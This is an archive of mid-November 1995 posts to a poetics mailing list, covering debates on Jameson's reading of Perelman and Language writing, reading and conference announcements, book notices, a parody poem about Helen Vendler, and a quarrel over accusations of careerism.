that the margin is injustice "Emancipation from this language must be attempted. But not as an attempt at emancipation from it, for this is impossible unless we forget our history. Rather, as the dream of emancipation. Nor as emancipation from it, which would be meaningless and would deprive us of the light of meaning. Rather, as resistence to it, as far as possible." -Derrida

I cannot agree. Resistence yes. And an alternative...
An alternative to that which is historical.
Could it be possible that we dream the real.

social conditions create _marginalization_
(a word vieled in itself)

create pain
that i do not want to be veiled in.

we need a new language.
"the very neutral medium of information that should enable a truly free choice is already branded by an irreducible violence." -Zizek.

And even though he is a Lacanian, who was a Freudian, and we know how wonderfully Freud was socialized to treat women and did treat women, i like the authority of that sentence.

and that the appropriate withdrawl, or failure, or reveling in the margin, i say can be done only by those who again can afford to.

or don't care to change.

or are like me on the days when i am not in a changing mood. or as a valid suggestion to how i can be happy where i am? which is not the most outrageous suggestion on a day other than today.

"poetry locates again and again within language, It seems impossible to take that into use... (Use itself as the term of the impossible.)" Larry Price

poetry locates itself at the border where crossing is impossible?
hmmm.
perhaps so. perhaps utopia is suffering.
or else i wouldn't want utopia because then i wouldn't *have to*
need to write poetry?

or maybe i would love utopia because i'd be happy and content all the time and everyone would have enough to eat, and the justice system would be fair, and great thinkers wouldn't have to jump out windows... hmmm.

Why is there something rather than nothing? Well why is there something rather than everything? Or are they the same.

We can turn something into more than other.
The social consciousness needs to be raised,
as do the beams of poetry.

Spring Ulmer

↑ Index

86. Tenney Nathanson
granted (Jameson) but
Wed 8 Nov 1995

> *Date: Sun, 5 Nov 1995 13:47:24 -0500*
> *From: Rae Armantrout <[redacted]>*

> *Subject: Re: dunno, but*
>
> *Dear Pat,*
>
> *Hi, the poem Chris was referring to is "Visibility" in MADE TO SEEM. I refer indirectly to the infamous sign in the last section of that. Oh, and thanks for your book. I probably won't be able to read it until Winter break so more anon*
>
> *Dear Wm Northcutt,*
>
> *I've written an essay which is partly about Jameson and his attack on Perelman. It's called "Irony And Postmodern Poetry." It hasn't been published yet, but I think it will be.*
>
> *Yours,*
>
> *Rae Armantrout*

re the Jameson thread:

there are certainly big problems w Jameson's take on Perelman's work (insurmountable, were it a question of buying or not buying the goods). Minor point: I think it's worth noting that the implications of the early version of the piece that takes up Perelman's poem along w a lot of other stuff--in the Foster collection--are a lot more unremittingly hostile than the later take in the Pomo book. My recollection is that the remarks on Perelman are only minimally revised; but the response to a range of postmodern practices is a lot more engaged. More important, I'd say: the notion of schizophrenic speech may also be problematic, but the sense of euphoria or mania that Jameson gets to via this notion is, I think, an important aspect of language writing that's very much under-represented in the in-house theory I've read (esp Bernstein, McCaffery as I recollect). The political claims made in the seventies tended to mute this element: the sense of access of power (cf the sublime) and the way in which it's the writer, not the reader (for all the obverse talk) who's the empowered one (and: isn't "opacity" at least partly an aggressive gesture?).

two cents.

↑ Index

87. Tenney Nathanson
update please!
Wed 8 Nov 1995

> *Date: Sun, 5 Nov 1995 13:47:24 -0500*
> *From: Rae Armantrout <[redacted]>*

> *Subject: Re: dunno, but*
>
> *Dear Pat,*
>
> *Hi, the poem Chris was referring to is "Visibility" in MADE TO SEEM. I refer indirectly to the infamous sign in the last section of that. Oh, and thanks for your book. I probably won't be able to read it until Winter break so more anon*
>
> *Dear Wm Northcutt,*
>
> *I've written an essay which is partly about Jameson and his attack on Perelman. It's called "Irony And Postmodern Poetry." It hasn't been published yet, but I think it will be.*
>
> *Yours,*
>
> *Rae Armantrout*

Rae--

I'd be very interested in seeing the piece. Could you please post publication info to the list as soon as you have any?

Also: if the publication plans aren't definite, you might consider trying Arizona Quarterly--we tend to be a little hesitant about essays that don't look anything like academic writing (though we've made exceptions), but Charles is on the board, we've published pieces by both him and Perelman, and we're generally very interested in publishing work on Language Writing.

btw, that's also a sort of call for submissions to all those on the list who do work that's academic or borderline-academic.

best,

Tenney

↑ Index

88. Tenney Nathanson
re Hartley book
Wed 8 Nov 1995

> *Date: Sun, 5 Nov 1995 19:56:27 -0500*
> *From: Patrick Phillips <[redacted]>*
> *Subject: Re: Jameson...*
>
> *There are other treatments of this "now notorious essay" as George Hartley put it, but you may want to see his "Jameson's Perelman" in _Textual*

> *Politics and the Language Poets_ for a post-Lacanian interpretation. In a nut-shell, Hartley contrasts J.'s schizophrenia analogy with the position that Perelman is suggesting, among other things, that "there are alternative ways of structuring (constituting) our experiences. Such alternatives "foreground" our social relations, not reify them.*

I think one limitation of Hartley's very fine book (are you out there George?) is its scanting of the utopian aspects of Language writing. The utopian isn't the schizophrenic, but the latter is something like Jameson's name for what he (wrongly?) takes to be a bad version of the former. Hartley is most interested in the way Language writing peforms the Bakhtinian function of alerting us to the socially saturated status of present speech. He's less interested, as I recall, in the sort of language mysticism that emerges so strongly in Charles' /Artifice of Absorption/. In this respect, oddly, his take is a little bit like Perelman's in his Arizona Quarterly essay on Andrews (and Maya ANgelou!). So that Jameson happened to pick on one of Language Writing's /least/ "schizophrenic" writers (one whose work, which I love, is a lot more congruent with Hartley's claims than, say, Charles' is).

↑ Index

89. Tenney Nathanson

yes!

Wed 8 Nov 1995

> *Date: Mon, 6 Nov 1995 10:47:44 +-100*
> *From: "William M. Northcutt" <[redacted]>*
> *Subject: Re: Jameson...*
>
> *Many thanks to Rae, Patrick, Juliana, and to Junte Huang--yes, long live the hooligans!*
>
> *My problem with Jameson is that I agree with him in the big picture, but I think he wraps himself up in a literalism that clashes with his admiration for Benjamin and Adorno. It seems to me that there's some anti-intellectualism underneath it--puritanism or just Lukacs?*
>
> *At any rate, thanks for the responses. William*

terrific post!

↑ Index

90. Tenney Nathanson
or else
Wed 8 Nov 1995

> *Date: Mon, 6 Nov 1995 14:56:16 -0500*
> *From: Chris Stroffolino <[redacted]>*
> *Subject: Re: do know but?*
>
> *Dear Pat Phillips--thanks for elaborating on your poetics--*
> *but what are these non lang-po "problem poetries that are particularly*
> *liberatory"? I am curious if you might want to be more specific. Feel*
> *free to backchannel. Chris S.*

not to horn in, but I'd at least like to cast my vote for frontchannel

↑ Index

91. Alan Golding
Chas. B. quotation
Wed 8 Nov 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Dear Larry Price (or Charles, for that matter):

What's the source for the Charles B. quotation on marginality that you cited yesterday? I'd like to follow it up. Thanks.

Alan Golding

↑ Index

92. Eryque Gleason
Re: EPC.Live
Wed 8 Nov 1995

I've stopped by EPCLIVE on occasion. once the bot aparently didn't even feel like sitting there alone!

Eryque "Just call me Eric" Gleason If I weren't a monkey, there'd be
71 E. 32nd St. Box 949 problems...
Chicago, IL 60616
[redacted]
[redacted]

↑ Index

93. Chris Stroffolino
Re: Indulgence
Wed 8 Nov 1995

Larry P. writes "The problem comes when these terms [resentment; evasiveness] are hoisted into an explanatory register, when they begin to account in themselves as narratives for social formation." I may not be understanding everything in his message, but it does seem possible that the problem comes when these terms are denied in "narratives for social formation"---If Presidents, etc, were allowed to cry on TV during a state of the ONION address perhaps is it possible things like OIL WAR ONE would be less likely to happen (I say wistfully at the risk of seeming sappily utopian like Kafka, Shakespeare, etc.). The bringing up of Richard Nixon reminds me of Robert Altman's movie in which he seems to identify with the resigned Nixon as a victim of the structure, etc (and Nixon is allowed to cry and say things like the end of the flick's "FUCK 'EM FUCK 'EM, etc") Anyway, Spring Ulmer's comments were refreshing in this regard-- in which much poststructuralist theory was cited along side of the seemingly more personal moods: "because i change my linger want to stay, but the ferocious tears give me away... to be on the page as love is/yes" and also her troping on the word marginalization-- to see one's self (or THE self) as a margin... and we all know what love does to "theoretical consistency" now don't we?----chris

↑ Index

94. D. LaBeau
Jameson/Perelman
Wed 8 Nov 1995

When Jameson lectured here in May, my friend asked him for some thoughts on American Poetry (up til then he'd only mentioned New Irish Poets) and he told us he liked the Language poets, that what they were working on was very interesting.

I was surprised, having thought his attack on Perelman was a general denunciation of the Language-types. Perhaps it was only Bob he didn't cotton to, or maybe his views have softened.

I guess there's no published evidence of a shift (and I doubt there will be) but it would be interesting if people were still debating a position abandoned by its originator.

-Dan

↑ Index

95. Gale Nelson
Re: readings desiderata
Wed 8 Nov 1995

Now that you've probably put together the better part of your reading series based on the thoughtful advice provided by faster thinkers than myself (as well as the many ideas you'd already been toying with), I'd like to offer some belated thoughts, Jordan:

1. Let the readers know what the format is. Will there be chairs and tables, rows of chairs, etc. Will there be a microphone? Is the room typically hot/cold, etc.? How long is a typical reading? Do you have the capacity to provide special set-ups (such as music, electronic, video, slides, etc.)?

2. If you plan to pair readers, should there be criteria? Such as, respectful but diverging aesthetics, willingness to collaborate/ alternate. Perhaps you could occasionally commission the readers to build their reading together (with enough lead time and with sufficient readerly interest, you could have your readers initiate a host of collaborative pieces that could be the centerpiece of the series).

3. Some years ago, I started a series entiled The Canned Goods Poetry Series. We asked those who attended to bring canned foods, that were then distributed via soup kitchens and food clearing houses. The feeling within the audience _seemed_ different, more community-based... If such an element seems of use/interest exists, it can make the series hold an especially lively place.

Good luck, Jordan. We wish you'd come to Providence to start your series; but, let us know how it goes "down south."

Gale

↑ Index

96. Charles Bernstein
Baraka's 60th Birthday Celebration
Wed 8 Nov 1995

Amiri Baraka 60th Birthday Celebration
Friday Nov. 10 and Sat. Nov. 11
at Schomburg Center for Research in Black Culture
515 Malcolm X Blvd NY NY 10037

preregistration required. no fee.

FRIDAY
10am The Social-Intellectual Baraka

11:45 Baraka's Drama
2pm Musical criticism and recordings
7pm Literary tribute

SATURDAY
10am Baraka's Fiction
1pm Baraka's Poetry
7pm Baraka: A Poetry Retrospective

speakers: Maulana Karenga, William Strickland, Eleanor Traylor, Aldon Nielsen, Sonia Sanchez, Kalamu ya Salaam, Lorenzo Thomas, William Harris, Ethelbert Miller

You may be able to fax your registration to [redacted], noting each event you plan to attend and name/institution (if applicable)/ address/ day & evening phone

↑ Index

97. Rod Smith
Re: granted (Jameson) but
Thu 9 Nov 1995

Tenney-- Eric Wirth addresses the question you raise re the "power" of the writer & reader in an essay in _Aerial 6/7_-- basically in agreement w/ your assertion-- he considers that in the dada text (using Coolidge as example) there is "a preemptive fusing of relations." I go back & forth on this tho I don't see how "opacity" is aggressive-- it can be used as such certainly, but so can any other technique. It seems to me the strength of the opaque text is that it makes no pretense of clarity & leaves the reader free to respond on their own terms as they will. If the rules are broken in the writing then certainly they can be broken in the reading. This is where I find validity in critical claims about reader interaction w/ l.p.-- such writing "honors" the reader's subjectivity by admitting it's own.

I have a recollection of Jameson dismissing Cage in one sentence in his _Postmodernism_. Pretty boring. Dan Barbiero addresses "the Perelman issue" at length in a piece in _Aerial 6/7 as well.

I think your remarks abt "euphoria or mania" in the amer tree are important points-- Mayer & Coolidge being exemplars-- Mayer often talking abt exploring states of consciousness. & certainly there's only one Hannah. I think of Ted B. etc. as the hardest partiers. & "Howl" am I remembering it right?-- was written on mushrooms. & the recent visitation of David Ayre certainly made exceptional use of "mania." I'm still tired of grumpy virgins.

--Rod

Tenney Nathanson wrote: "there are certainly big problems w Jameson's take on Perelman's work (insurmountable, were it a question of buying or not buying the goods). Minor point: I think it's worth noting that the implications of the early version of the piece that takes up Perelman's poem along w a lot of other stuff--in the Foster collection--are a lot more unremittingly hostile than the later take in the Pomo book. My recollection is that the remarks on Perelman are only minimally revised; but the response to a range of postmodern practices is a lot more engaged. More important, I'd say: the notion of schizophrenic speech may also be problematic, but the sense of euphoria or mania that Jameson gets to via this notion is, I think, an important aspect of language writing that's very much under-represented in the in-house theory I've read (esp Bernstein, McCaffery as I recollect). The political claims made in the seventies tended to mute this element: the sense of access of power (cf the sublime) and the way in which it's the writer, not the reader (for all the obverse talk) who's the empowered one (and: isn't "opacity" at least partly an aggressive gesture?).

two cents."

↑ Index

98. Rod Smith

Re: welcome the worlds of lost renga

Thu 9 Nov 1995

OK gang, you're good, but don't we get a "statement of method" with this? Is it one line each passed around? What determines the stanza breaks, is that up to each author as it comes to them? Is the whole thing a sanskrit/spanglish/latin palindrome?

--Rod

↑ Index

99. Ron Silliman

Re: Jameson/Perelman

Thu 9 Nov 1995

I first read the Jameson piece in the New Left Review, though I've picked up the later appearances almost as a matter of habit. Never have gone through them to compare versional variations. My distinct impression, based in part on Jameson's presentation sometime after that at New Langton Arts and a dinner thereafter, was that FJ himself never considered his writing on Bob as hostile nor an attack. Rather, I think that tone of his comes from the critical stance of any builder of master narratives (and Jameson produces them at a dizzying rate). He speaks of any work as though he owns it and comes across at once as condescending and inclusive.

Gayatri Spivak once gave a counter reading of the poem at the Lit and Philosophy group in Lawrence, KS. I missed it (I was driving down that day from Iowa City w/ Herman Rappaport and we arrived late). I've never seen that in print. Did it ever get published?

Ron Silliman

↑ Index

100. **Ron Silliman**
Re: Baraka's 60th Birthday Celebration
Thu 9 Nov 1995

I hope that somebody will give us all the same sort of attentive report back that the big shindig in the Albert Hall received awhile back.

Ron Silliman

↑ Index

101. **Larry Price**
Bernstein quote
Thu 9 Nov 1995

Alan Golding:

The passage is from "Censers of the Unknown: Margins, Dissent, and the Poetic Horizon," a 1987 follow-up interview with Tom Beckett originally published in TEMBLOR and included in A POETICS. The passage I quoted is on page 190 of A POETICS.

lp

↑ Index

102. **William M. Northcutt**
Baraka
Thu 9 Nov 1995

Baraka rules!

↑ Index

103. **Tenney Nathanson**
hi Dan
Thu 9 Nov 1995

> *Date: Wed, 8 Nov 1995 14:15:46 -0600*
> *From: "D. LaBeau" <[redacted]>*
> *Subject: Jameson/Perelman*

> *When Jameson lectured here in May, my friend asked him for some thoughts on American Poetry (up til then he'd only mentioned New Irish Poets) and he told us he liked the Language poets, that what they were working on was very interesting.*
>
> *I was surprised, having thought his attack on Perelman was a general denunciation of the Language-types. Perhaps it was only Bob he didn't cotton to, or maybe his views have softened.*
>
> *I guess there's no published evidence of a shift (and I doubt there will be) but it would be interesting if people were still debating a position abandoned by its originator.*
>
> *-Dan*

Hi, Dan--nice to see you on the list.

I think there are a couple of Jameson pieces--the one on Perelman, the one on third-world lit as allegory, that have turned into big red flags. I don't know that those earlier positions have been abandoned so much as given a less hostile twist (the Lang Po/Perelman one is the one I have in mind--I'm not up on what J has done re 3W allegory of late)

best,

Tenney

↑ Index

104. **Edward Foster**

Re: Waldo & O

Thu 9 Nov 1995

---

the monotony is the thing, yes, so that's why waldo was so welcome: all as change, energy rather than essence, but the deep identity with laissez faire means midnight trauma. yes. all best, ed

↑ Index

105. **Tenney Nathanson**

yep yep yep

Fri 10 Nov 1995

> *Date: Thu, 9 Nov 1995 14:40:29 -0500*
> *From: Edward Foster <[redacted]>*
> *Subject: Re: Waldo & O*
>
> *the monotony is the thing, yes, so that's why waldo was so welcome: all*

> *as change, energy rather than essence, but the deep identity with laissez faire means midnight trauma. yes. all best, ed*

bingo.

so that: where he's MOST exciting (least dated, least dumpy, most like what "we" want to do) he's most implicated.

for a sometimes dated but often brilliant discussion of same: Quentin Anderson (my thesis advisor, now 84!), /Making Americans: An Essay on Individualism and Money/ (HBJ 1992[?]).

↑ Index

106. Steve Evans

Awesome 6some/Impercipient 8

Fri 10 Nov 1995

A reminder to those of you within traveling distance
of Providence that this Saturday presents a wonderful
opportunity to witness the contemporary avant-garde
at work.

Along with the events already announced (see below), you'll also have a chance to pick up the eighth, and final, issue of THE IMPERCIPIENT, featuring work by Camille Guthrie, Robert Hale, Lisa Jarnot, Judith Goldman, Sianne Ngai, Jay Dillemuth, Brian Schorn, Bob Harrison, and Brian Kim Stefans.

We hope you'll join us!

```
s                                s
o  Saturday                          o
m  11 November 1995                    m
e  Russell Lab, Brown University        e
*  5 Young Orchard Street in Providence *
*  2 Sets: 3-5pm, 7-9pm               *
*                                *
```

First Set-3pm

K E V I N D A V I E S

J U D I T H G O L D M A N

L I S A J A R N O T

5:30, dinner at The Cav
14 Imperial St. (Downtown Providence)

Second Set-7pm

B I L L L U O M A

D O U G L A S R O T H S C H I L D

J U L I A N A S P A H R

after: party chez Moxley/Evans

Organized by Jennifer Moxley and Steve Evans

Supported by the Creative Writing Dept @ Brown

For more information, call [redacted]

r i a t n m u
a t s u o o o s

↑ Index

107. Gabrielle Welford
federal budget game (fwd)
Fri 10 Nov 1995

Thought ye'd be interested in this. Gab.

"Reinventing America" Game Launched

Today, Mon., Nov. 6, Crossover Technoloy launched the "Reinventing America" game at:

http://www.pathfinder.com/reinventing

An interactive political simulation game, participants will spend 26 weeks debating various issues of national importance, from drug policy to environmental protection to defense conversion to arts funding and school prayer. Players can come and go (and join) at any time. Throughout the duration of the game, players will debate and vote on levels of federal spending related to these issues, and, at the end of the game, will propose a new federal budget that reflects the results of these discussions. The Markle Foundation, sponsor of the game, will then present this proposed budget to Congress at a press conference in May.

2 Reasons Why You Should Join the Game

1) This game is bound to get a lot of media attention, as it is a very inventive idea (and has some major corporate backing) 2) The right wing is bound to be represented in force. I've joined already and I can definitely see a dearth of progressive opinions.

PLEASE RE-POST, PLEASE RE-POST, PLEASE RE-POST

Thanks Rich,

Leif Utne <[redacted]>

↑ Index

108. Gabrielle Welford
Re: Waldo & O
Fri 10 Nov 1995

On Wed, 8 Nov 1995, Jordan Davis wrote:

> On Wed, 8 Nov 1995, Larry Price wrote:
>
> > "in! in! the bow-sprit, bird, the beak"
> >
> > sounds too much like Dylan Thomas for comfort.
> >
> a) I like Dylan Thomas. b) it sounds more like Hopkins.
>
whom I also like abcz

Gab.

↑ Index

109. Larry Price
Re: yep etc
Fri 10 Nov 1995

Ed:

What's confused me is the opposition of laissez-faire and essence. The presumption of atomism in 18th C economics (as well as the impoverished epistemology that conditioned it) seems to point to their eventual equivalence, as of course they are equivalent in the Realeconomik our midnight trauma now is. Which is to say, equivalent in their mutually conditioning statuses as storefronts. I'm beginning to think that the only way I can read what you're doing is through a very different notion of "thing." Which might be a useful contortion of the distortion of "No ideas but" etc.?

lp

↑ Index

110. Christopher Reiner
New K. Waldrop Book
Fri 10 Nov 1995

NEW FROM AVEC BOOKS

The Locality Principle by Keith Waldrop
ISBN:1-880713-03-9; LCCN 95-77360.

Distributed by Baker & Taylor and Small Press Distribution. Also available directly from the publisher (FAX [redacted].

More info at http://www.crl.com/~creiner/syntax/avec.html

Written in alternating sections of poetry and short prose pieces, _The Locality Principle_ is, on one level, a perceptive and often wryly humorous account of a traveler's confusion and dislocation.

In London, a narrator, presumably the author, is living on a street named after a nonexistent park, next to a garden he can see from a window but have no access to--a garden tended by a bizarrely ineffectual group of men and women who could be gardeners or possibly inmates from a local asylum.

But Waldrop's is role as a displaced observer also provides the opportunity for a series of reflections on deeper subjects, such as concept of the soul, and the fact of his own mortality.

Overseeing it all is the unforgettable, impassive Pee-Paws, a resident cat that spends night after night staring into the blazing fireplace: "Her response to the fire, I come to realize, is more complete than mine...to her it is obviously a source of the most profound feelings, feelings I can only guess at...mystical feelings."

It is those "mystical feelings" that indicate the terrain which the traveler in _The Locality Principle_ must finally navigate and which bring the book to its subtle but lovely conclusion.

"_The Locality Principle_ is both winningly and disturbingly beautiful. With Waldrop both extends and expands his extraordinary oeuvre in this deliciously melancholy book where, in flawless prose and verse, the doubles we call life and death, soul and body, soul and spirit are meticulously and lovingly examined. Amid droll evolcations of daily life, the reader is seduced into pleasures of speculation about a "(coherent) world" that is "entirely/confabulated," where "every sensation con/ceals a dream." The book supplies the additional delight of Mrs. Crowe's fervent ghosts."--Harry Mathews, author of _Cigarettes_ and _The Journalist_

"Having held himself to (what we suppose is) a more or less factual account of life in his recent autobiography, Waldrop now questions the phemera of place and time. He writes of an observed and peopled garden to which there is no door, of encounters whose meaning is suspect; illumination in darkness.

Throughout _The Locality Principle_, a remarkable and surprising book, we are alert to the metaphysical aspect of life; to an awareness of ghost tines." -- Barbara Guest, author of _Defensive Rapture_ and _Selected Poems_

Keith Waldrop lives in Providence, Rhode Island where he teaches at Brown University and, with Rosmarie Waldrop, edits Burning Deck Press. He has translated the French poets Claude Royet-Journoud, Anne-Marie Albiach and Dominique Fourcade, among others.

↑ Index

111. Peter Baker
Studies in Modern Poetry
Fri 10 Nov 1995

I've had some backchannel responses to the initial listing of my recent theory book, inquiring into the Studies in Modern Poetry series I edit for Peter Lang. What follows is copy from a recent Lang brochure, with a series description, listing of publication data for books in the series, and so forth. Inquiries about manuscripts are welcome.

Studies in Modern Poetry
General Editor: Peter Baker

This series brings together works on particular modern poets and twentieth-century movements as well as comparative and theoretical studies. Works in the series seek to explore the contributions of twentieth-century poets beyond the well-known major figures of Modernism such as Ezra Pound and T. S. Eliot, in the belief that modern poetry is characterized by its variety, richness and scope. A particular focus of the series are those books that compare poetic projects from different national and linguistic traditions or explore the interconnections between poetic expression and the other arts. Authors whose critical approaches utilize contemporary literary theory and multicultural perspectives are especially encouraged to consider this series. Languages of the poetry studied include, but are not limited to, English, French, German, Italian, and Spanish, though the manuscripts should be written in English and addressed to readers beyond strictly national or disciplinary boundaries.

vol. 1
_The Poem at the Edge of the Word: The Limits of Language and
the Uses of Silence in the Poetry of Mallarme, Rilke, and Vallejo_
by Dianna C. Niebylski
ISBN 0-8024-2107-3 / 1993
175 pp. / hc / $41.95

vol. 2
Journeys Toward the Original Mind: The Long Poems of Gary Snyder
by Robert Schuler
ISBN 0-8024-2459-5 / 1994
146 pp. / hc / $39.95

vol. 3
_"...a thousand graceful subtleties": Rhetoric in the Poetry
of Robinson Jeffers_
by Terry Beers
ISBN 0-8024-2592-3 / 1995
113 pp. / hc / $37.95

vol. 4
_Cross-Referential Mis-Conceptions of Rainer Maria Rilke in
Randall Jarrell, Robert Lowell, and Robert Bly_
by Hartmut Heep
ISBN 0-8024-2874-4 / forthcoming

vol. 5
_The Mestizo as Crucible: Andean Indian and African Poets
of Mixed Origin as Possibility of Comparative Poetics_
by Christine de Lailhacar
ISBN 0-8024-2891-4 / forthcoming

For further information about the Studies in Modern Poetry series and for the submission of manuscripts, contact:

Peter Baker
Department of English
Towson State University
Towson, MD 21204-7097
[redacted]

[redacted]

For further information about purchasing books, contact:

Peter Lang Publishing
62 West 45th St.
New York, NY 10036
toll free [redacted]
fax [redacted]

↑ Index

112. Edward Foster
Re: yep etc
Sat 11 Nov 1995

no opposition between essence and lassez faire if you dig deeply enough, and that is the argument: that all systems have their immutable "truths." and yet, tho nouns are verbs in suspension (prisoners for a while), it's quite amazing how many poets think, even now, that fenollosa had the key. but so we have it, and noun/verb is useful, at least for discussion, in distinguishing between poetries.

↑ Index

113. Romana Christina Huk
Poetry conference/festival1996
Sat 11 Nov 1995

AN ANNOUNCEMENT/INVITATION to all POETICS SUBSCRIBERS:

There will be an international poetry conference/festival of readings from the 29th of August to the 2nd of September, 1996, at the New England Center, University of New Hampshire (Durham, NH). These three and one half days of discussions and four nights of readings/performances open to the community (which includes Boston) will focus on relationships between "experimental" poetries in the U.S., U.K., Canada and Ireland; othes from non-English speaking countries may also arrive to help us talk about new directions in these poetries andways/problems of reading across cultures. The issues to addressed in plenary sessions have been broadly arranged to include 1) differences in context and practice, 2) how changing poetries in each of the contexts force us to rethink old debates about the subject, reader, and politics of form, 3) blindspots in the theory and practice (due to gender, race, class, cultural chauvinism, etc.), 4) the institutionalization of radical poetries and the issues raised by it, 5) new and controversial formal directions including new performance strategies, use of narrative, use of electronic media, collaborations as authorship, the collapsing of borders with the mainstream and 6) the role and practice of new translation (revisited).

A call for papers on these topics and others to be proposed will be issued in various newsletters, but I'll issue one right now for all of you on this line. Although a number of papers for plenary sessions/ discussions have been invited, there will also be opportunities for multiple sessions using our three conference rooms at the Center. If you would like to participate in those, please send on detailed abstracts for twenty-minute papers (due in hard copy to me here at the Department of English, University of New Hampshire, Durham, NH 03824 by the end of January). Everyone is of course welcome to come just

to take part in what should be lively discussions and to enjoy the afternoon and evening readings and performances (I'll try to make at least one afternoon reading-spot open-mike) -- I should know wh

Please get back to me for price information soon if you're interested, because space will be limited; and reply with snail-mail addresses if you wish to be on my mailing list for further (more detailed) information.

Romana Huk

↑ Index

114. William M. Northcutt
Vendler, venerandam
Sat 11 Nov 1995

Has anyone seen the latest TLS in which they praise Helen Vendler for her eclectic tastes in poetry????????????

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↑ Index

115. Camille Martin
Re: Poetry conference/festival1996
Sat 11 Nov 1995

Dear Roman Huk,

I just received your posting about the conference/festival and would like to know more about it. My address is:

> Camille Martin
> 7725 Cohn St.
> New Orleans, LA 70118

Thank you!

↑ Index

116. Eryque Gleason
Bob Harrison Reading
Sat 11 Nov 1995

Almost forgot to announce it!

For all you folks near Chicago, Bob Harrison will be reading at IIT in the Faculty Lounge 7:30 Monday the 13th.

Contact me for more details.

eryque

p.s. there's a couple major medical schools nearby, so if you forget your ears i'm sure we could work something out.

_____!_____

Eryque "Just call me Eric" Gleason If I weren't a monkey, there'd
71 E. 32nd St. Box 949 be problems.
Chicago, IL 60616
[redacted]

↑ Index

117. Rod Smith
Rosmarie Waldrop Reading
Sat 11 Nov 1995

Tuesday NOV. 14th at 8 PM

Rosmarie Waldrop at Bridge Street Books

2814 Pennsylvania Ave. NW, Washington, DC
phone [redacted]

B.Y.O.E. (Bring your own ears).

↑ Index

118. Jorge Guitart
open mike
Sat 11 Nov 1995

HELEN VENDLER IN HELL

no part gleams with intelligence
no one stumbles up from the depth
no one becomes something of a ghost
no one is perpetually on the fire escape
no one deals with bitter impressions
no one has an impeccable technique
no part adds a continuous depth or lustre
no present is immense or pertinent
nothing serves as a tacit response
nothing owes anything to mood or methodology
nothing gains in resonance cohesion or panache
nothing goes far toward making spirits rest
nothing turns inward or has obvious influence
nothing rebukes a less adventurous era
nothing is about the aftermath of enlightenment
nothing resembles a palimpsest
nothing is asserted to be subverted
nothing remains in the service of anything
nothing is anything by turns
nothing is besieged by the elements of time or history
nothing becomes unreconcilable or untamed
there is no adoption of tactics of encirclement or indirection
there are no themes of attachment or strangement
there is nothing against a cultural background
there are no strangely fruitful effects
there are no irrational antagonists or realms
there is no wreckage for clarity to be amid
there is no imaginative order to be shored up
there is no fervent explorations of being
there are no explorations of subject matter

Jorge Guitart

↑ Index

119. Charles Bernstein
The Hand of the Poet
Sun 12 Nov 1995

*** Worth a Detour:

The Hand of the Poet: Original Manuscripts from 100 Masters

Part 1: John Donne to T.S. Eliot

Nov. 3, 1995 to April 20, 1996

New York Public Library 42nd & 5th, Berg Exhibition Hall

Including many remarkable items, none, for me, topped by the Donne, which I had never seen before, & including Pope, Blake, Burns, Wordsworth, Coleridge, Byron, Shelly, Keats, E. Bronte, Whitman, Dickinson*, E. B. Browning, Carroll, Stevens, Williams, and Eliot (the ms to "The Waste Land" with Pound's comments)

*ms of "Through the great Waters sleep" was on display in the "Masterpieces" exhibit next door at least during November. My impression is that it will go back to the Berg next month. In the present display it is a bit hard to see. Also exhibitted is the 1885 letter to Benjamin Kimball in which the poem was enclosed.

[&&& May 19-Nov. 16, 1996: Part II -- "e.e. cummings to Julia Alvarez"]

↑ Index

120. Charles Bernstein
M/E/A/N/I/N/G
Sun 12 Nov 1995

M/E/A/N/I/N/G

Issue #18, FALL 1995

now available

& featuring --

MONSTROUS DOMESTICITY by Faith Wilding,

BRAVE NEW ART WORLD: A Symposium with Lenore Malen,
Irving Sandler, Michael Brenson, Debra Balken, and Michi Itami,

PAINTING AS MANUAL by Mira Schor

THE STRANGER by Pam Longobardi

PAINTING AFTER PAINTING: The Paintings of Susan Bee
by Misko Suvakovic,

Book REVIEWS by Nick Piombino of Johanna Drucker's new books, Tom Knechtel of gay artists, Corinne Robins of Eleanor Antin,

Robert C. Morgan of Mondrian

M/E/A/N/I/N/G is edited by Susan bee and Mira Schor.

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Limited supplies of back issues available at $6 each.

↑ Index

121. Mark Wallace
(no subject)
Mon 13 Nov 1995

I would be interested in hearing comments from any point of view on the following:

In a recent series of private letters to me which he refuses to make public, perhaps because of their basic hypocrisy, Spencer Selby makes the following claims about my recent article "Emerging Avant-Garde Poetries and the 'Post-Language Crisis'":

1) That the Language poets have invented and furthered an environment of suspicion, lies, and careerism, in which the "selfishness" of their individual desire to have careers in poetry has caused them to sacrifice and destroy free debate and opportunities for free expression. He argues, essentially, that the Language poets created an environment in which promoting one's work counts more than the quality of that work.

2) That the main problem with my essay is that the writers I mention in that article (Kevin Killian, Dodie Bellamy, Rod Smith, Jefferson Hansen, Peter Gizzi, Liz Willis, Juliana Spahr, Joe Ross, Susan Schultz, Ben Friedlander, Charles Borkhuis, Chris Stroffolino, Lew Daly, John Noto, Steve Evans, Jean Osman,

many others) basically share in common the fact that they are CAREERISTS with no concern for the integrity of poetry. Spencer believes, he says, that the above writers are all second-rate, that the only reason anybody pays any attention to them is that they suck up to the powerful in the world of poetry.

In a recent letter to him, I challenged Spencer on these claims and asked him to debate me publicly on these and other issues. He refused, claiming that my suggestion that I debate him publicly on this issue might be seen as another way in which I am "sucking Up" to those power mongers in the poetry world who are unwilling to listen to what he has to say. He claims that, at best, I am in denial about my own careerist movitavations.

I find Spencer's comments, and his insults to my integrity, offensive and pernicious in the worst way. I find his maligning of a great number of committed and concerned poets to be completely lacking in evidence, and to be untrue. I believe that his refusal to debate me publicly is based on his awareness that his claims are pernicious and even potentially legally actionable.

I believe that the private assault he is making on the character and activites of a wide range of experimental poets needs to be made public.

Mark Wallace

↑ Index

122. Schuchat
Re: your mail
Mon 13 Nov 1995

---

re the mark wallace post, what's wrong with careerism?

"in a corrupt world, I am alone am pure"

everybody is supposed to be a stiff in gray's country churchyard?

↑ Index

123. Ann Lauterbach
Re: POETICS Digest - 11 Nov 1...
Mon 13 Nov 1995

FYI : Barbara Guest (now living in California), and Ann Lauterbach (myself, still here after all these years) will be reading tomorrow evening, the 14th, at The New School, 66 West 12th Street, at 7pm, introduced by Forrest Gander. Be glad to see you there.

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124. Burt Kimmelman
turf war?
Mon 13 Nov 1995

Mark Wallace,

I for one certainly cannot ascribe to the view that a number of the people you have mentioned in your article are second rate writers.

Just thought i'd put in my 1 and a half cents.

Here's the other half cent:

"legally actionable"?!! C'mon now, isn't this a bit much?

Burt Kimmelman

↑ Index

